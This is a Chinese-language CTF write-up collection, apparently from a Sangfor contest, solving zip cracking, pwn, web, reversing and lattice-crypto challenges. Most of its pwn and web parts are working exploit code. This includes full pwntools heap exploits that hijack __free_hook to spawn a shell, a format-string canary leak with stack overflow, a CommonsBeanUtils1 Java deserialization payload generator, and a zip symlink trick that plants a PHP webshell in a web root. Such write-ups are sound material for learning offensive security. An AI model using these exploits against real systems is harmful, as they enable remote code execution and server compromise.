公众号:Th0r安全
先伪加密,然后明文攻击,再CRC爆破,然后获得用户名和密码,登陆后禁用JS查看源码,flag在注释里
用010打开压缩包,把09改成00即可
打开后有个txt能打开,把他单独压缩,然后用azpr与题目给的压缩包进行明文攻击,得到密钥qwe@123
打开后又是一个压缩包
用网上找到的脚本进行明文攻击
from zlib import crc32
import random
char='0123456789'
def crc32_f(data):
return hex(crc32(data)&0xffffffff)[2:10]
length=input('length:')
crc32_=input('crc32:').lower()
while True:
text=''
for i in range(length):
text+=char[random.randint(0,len(char)-1)]
if crc32_f(text)==crc32_:
input('find it:'+text)
exit
然后得到用户名和密码
用户名:Admin
密码:5f4dcc3b5aa765d61d8327deb882cf99
登录后禁用JS查看源码即可
关注公众号回复即可得到flag
SangFor{AaKjtQr_OjJpdA3QwBV_ndsKdn3vPgc_}
off by null 漏洞,同样构造堆叠直接改fd指针
# coding=utf-8
from pwn import *
p = process("./writebook")
context.arch = 'amd64'
context.log_level = 'debug'
libc = ELF('./libc.so.6')
elf = ELF('./writebook')
def choice(c):
p.recvuntil(">")
p.sendline(str(c))
def add1(size):
choice(1)
choice(1)
p.recvuntil(":")
p.sendline(str(size))
def add2(size):
choice(1)
choice(2)
p.recvuntil(":")
p.sendline(str(size))
def edit(index,content):
choice(2)
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(content)
def show(index):
choice(3)
p.recvuntil(":")
p.sendline(str(index))
def free(index):
choice(4)
p.recvuntil(":")
p.sendline(str(index))
add2(0x1b0)
for i in range(7):
add2(0x1b0)
for i in range(7):
free(i+1)
free(0)
add1(0xf0)
show(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - 528 - 0x10 - libc.sym['__malloc_hook']
fh = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(leak))
success(hex(libc_base))
add1(0xb0)
add2(0x110)
for i in range(8):
add2(0x110)
add1(0x48) #11
for i in range(7):
free(i+3)
add1(0xf0) # 3
for i in range(7):
add1(0xf0)
free(12)
free(9)
free(8)
free(7)
free(6)
free(5)
free(4)
free(10)
edit(11,'A'*0x40+p64(0x170))
free(3)
free(11)
add2(0x160)
payload = p64(0) + p64(0x50)
payload += p64(fh)
edit(3,'A'*0x110 + payload)
add1(0x40)
add1(0x40)
edit(5,p64(system))
edit(4,'/bin/sh\x00')
free(4)
p.interactive()
Sangfor{TcHy+YdT3Gx5/akFzoBSV4q71q4c1248}
简单的堆溢出,虽然堆大小固定但是无所谓,利用堆溢出构造堆重叠
# -*- coding: utf-8 -*-
from pwn import *
p=process('./1')
libc=ELF('libc.so.6')
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))
def add(con):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('content: ')
p.send(con)
def show(idx):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('id: ')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('id: ')
p.sendline(str(idx))
add('a')
add('a')
add('a')
add('a')
delete(0)
add(0x328*'a'+p64(0x330*2+1))
delete(0)
add('a')
show(0)
p.recvuntil('\x7f')
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-libc.sym['__malloc_hook']-0x10
lg('libc.address',libc.address)
add('/bin/sh\x00')
add('a')
delete(3)
delete(2)
delete(1)
delete(0)
add(0x328*'a'+p64(0x330+1)+p64(libc.sym['__free_hook']-8))
add(0x328*'a'+p64(0x330+1)+'/bin/sh\x00')
add(8*'a'+p64(libc.sym['system']))
delete(1)
p.interactive()
debug()
Sangfor{TcHy+YdT3GzsLYkCef8/IsIcRC/LoyoV}
=-=格式化泄露canary和程序基地址后直接栈溢出
from pwn import *
context.log_level='debug'
def pwn():
p.recv()
pay="%17$p~%15$p"
p.sendline(pay)
p.recvuntil('Nice to meet you, ')
canary=int(p.recv(18),16)
p.recv(1)
addr=int(p.recv(14),16)+0xe8
print(hex(canary))
print(hex(addr))
p.recvuntil("Anything else? ")
pay=b'a'*(0x40-8)+p64(canary)+b'a'*8+p64(addr)
p.sendline(pay)
p=process('./find_flag')
pwn()
a=p.recv()
print(a)
p.close()
Sangfor{TcHy+YdT3GxUZrYki4F3lM4WEBa1le9A}
访问发现是个文件下载,下载的是日志文件,目录穿越不太好传,尝试拿bp爆破一下日期来下载Log,发现了一个jar:
访问?logname=cb-0.0.1-SNAPSHOT.jar
把jar包下载下来,发现存在一个反序列化的后门:
@ResponseBody
@RequestMapping({"/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser"})
public String getUser(String user) throws Exception {
byte[] userBytes = Base64.getDecoder().decode(user.getBytes());
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User)in.readObject();
return userObj.getUserNicename();
}
看一下pom.xml,有个cb:
<dependency>
<groupId>commons-beanutilsgroupId>
<artifactId>commons-beanutilsartifactId>
<version>1.8.2version>
dependency>
直接反序列化打就行了,直接拿前几天 陇原战疫比赛的那个EasyJaba那题的POC,把链子的构造那部分改成cb的,然后直接打过去:
package com.summer.cb1;
import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{
new CommonsBeanUtils1().getShiroPayload();
}
public static void cb1() throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
byte[] bytes = SerializeUtil.serialize(priorityQueue);
System.out.println(new String(Base64.getEncoder().encode(bytes)));
}
public byte[] getShiroPayload() throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",String.CASE_INSENSITIVE_ORDER);
//BeanComparator beanComparator = new BeanComparator("outputProperties", Collections.reverseOrder());
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
byte[] bytes = SerializeUtil.serialize(priorityQueue);
System.out.println(new String(Base64.getEncoder().encode(bytes)));
//SerializeUtil.unserialize(bytes);
return bytes;
}
}
上传压缩包回显被传到了/tmp/uploads
目录下面,尝试拿010工具构造在解压缩的时候可以目录穿越的压缩文件,但是没有成功。查了一下才想到可以利用软连接,但是要想办法的是rce,也就是其实还是得解压缩之后把马解压到web目录下面,这时候想到了软连接目录。
先创建一个指向/var/www/html
的软链接:
root@VM-0-6-ubuntu:~# ln -s /var/www/html feng
然后再把它压缩,使用-y
,这样在压缩的时候可以保存软链接:
root@VM-0-6-ubuntu:~# zip -y feng1.zip feng
在feng目录下面写个马,然后再把这个feng目录不带-y
的压缩:
root@VM-0-6-ubuntu:~# ls -al feng
lrwxrwxrwx 1 root root 13 Nov 13 18:33 feng -> /var/www/html
root@VM-0-6-ubuntu:~# zip -r feng2.zip feng
adding: feng/ (stored 0%)
adding: feng/.feng.php (stored 0%)
这时候的feng2.zip是这样,feng是个正常的目录,目录下面有个马:
然后先上传feng1.zip,再上传feng2.zip,这时候首先应该那边有了/tmp/uploads/feng
,这是个指向/var/www/html
的软连接。然后再上传feng2.zip进行解压的时候,实际上应该是把.feng.php解压到/tmp/uploads/feng
这个目录下,但这已经是一个软链接了,因此实际上应该这个马被移动到了web目录了。
然后rce拿flag即可:
++++++++++[->++++++++++++++++<],[->-<]>>[-]+++++<*++.<
Sub_40094b 里有执行逻辑重复执行该代码56次,完成序列加密先每次加10重复10次,再减flag,乘5加2,得到输出序列
a=[0x0,0x60,0xe1,0x2f,0x5,0x79,0x80,0x5e,0xe1,0xc5,0x57,0x8b,0xcc,0x5c,0x9a,0x67,0x26,0x1e,0x19,0xaf,0x93,0x3f,0x9,0xe2,0x97,0x99,0x7b,0x86,0xc1,0x25,0x87,0xd6,0xc,0xdd,0xcf,0x2a,0xf5,0x65,0xe,0x73,0x59,0x1d,0x5f,0xa4,0xf4,0x65,0x68,0xd1,0x3d,0xd2,0x98,0x5d,0xfe,0x5b,0xef,0x5b,0xcc]
for i in range(56):
for j in range(33,128,1):
flag=a[i]
flag=(flag+0xa0)%256-j
if(flag<0):
flag+=256
flag=(flag*5+2)%256
#print(flag)
if(flag==a[i+1]):
print(chr(j),end="")
break
flag{de0bd67e-6d25-87d7-1876-ad131a6165cb}
魔改https://xz.aliyun.com/t/7163的题目,改了p的位数,然后多乘了一个f
两边同时乘f然后经过处理再取模g之后得到
所以把之前那题的exp改一下,改成inverse(f*f, g):
# sage
from Crypto.Util.number import *
h = 3967900409518491437091166715380802161532841159072519563471354336400750930009970177101953304861954502146570721506995224520631716261108071684882841102381144720177664434981608584075201907891964214604246219441325377602163957172642582158192223452845671007585556951922415200415538060247456213608112360361636912703380306386439846269645696750929811607783895294670639202472465920599542568227657152922843001792754116981992696203788298740550812661583820191877594185184758074771316815650833195023325150218113883046328740408517222933980589974912467363367727038230703152354450353199257411964288022409128890352346036423792759938468964462267528727695183747947515480432786669353434638860350849296620606820894819933050645748656981993408399675189724419997805599649975500093890450393421897803267909569938850674774386012819838940544502656293639875120854745249463561940935651895728242282430164407574626178693654713011323376912585958110558532953333
p = 4407206782832544188667944201727813617189883940490534227436068867901196311508151544316989531306678865408607390128649278629254128753967046691736522108356971272311308455619879297358588727267184200777923695048248757115057072357087881336680504033511958280710547178971268670442650871890760916203109226852889599638484429889898210426540567794020013920566784973281560628666918122674783539653720295629054898529900882965691587718212291373734218555167591690910246380516121338139063419587750344469214004539520017140593342859857394308703001939640899189432836134392830208318268131639318655382175643272565186884496188876341460968563623529229713790076050095498053846983536874648190033735162809614805624209827336432223553914651838063614534617044557310972056169869738746432924853953258079006936103497626054364115282007843847693813896856977882285910369660539092462408790126385881581833165309032853389777355480169212478669139225609058338565029211
c = 4052491539376955553220568757544621659293304958837707160681090710624505862889512520190589879197831394720145909992216099963759496125523078969015706069688556356682711471641851937470179182960755800968587551608595725470945584970094036299764623894583379909329996337429067328575804567222496890803396234507278490116354758303807070775249711087938549824010697869930856205244006491475201993228121418890520174179969294094963249013786611889790711801269524919695653453576043288934196952437164829830756439734795068980207758771052483500272264363028346668629397497794792110170275173209377114274164087320163340547019935562316429227119346802124620682293405375798340275679831750482339301440428527223801872439611461272229275824994734898078664180541096159146759378804836952981089673755590353588900522455968721971944276318473421193690310601002295637581030417570868955379815661133148339565983621730401675643094909263098778572081973142223744746526672
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
shortest_vector = m.LLL()[0]
f, g = -shortest_vector
a = f*c % p % g
m = a * inverse_mod(f*f, g) % g
print(long_to_bytes(m))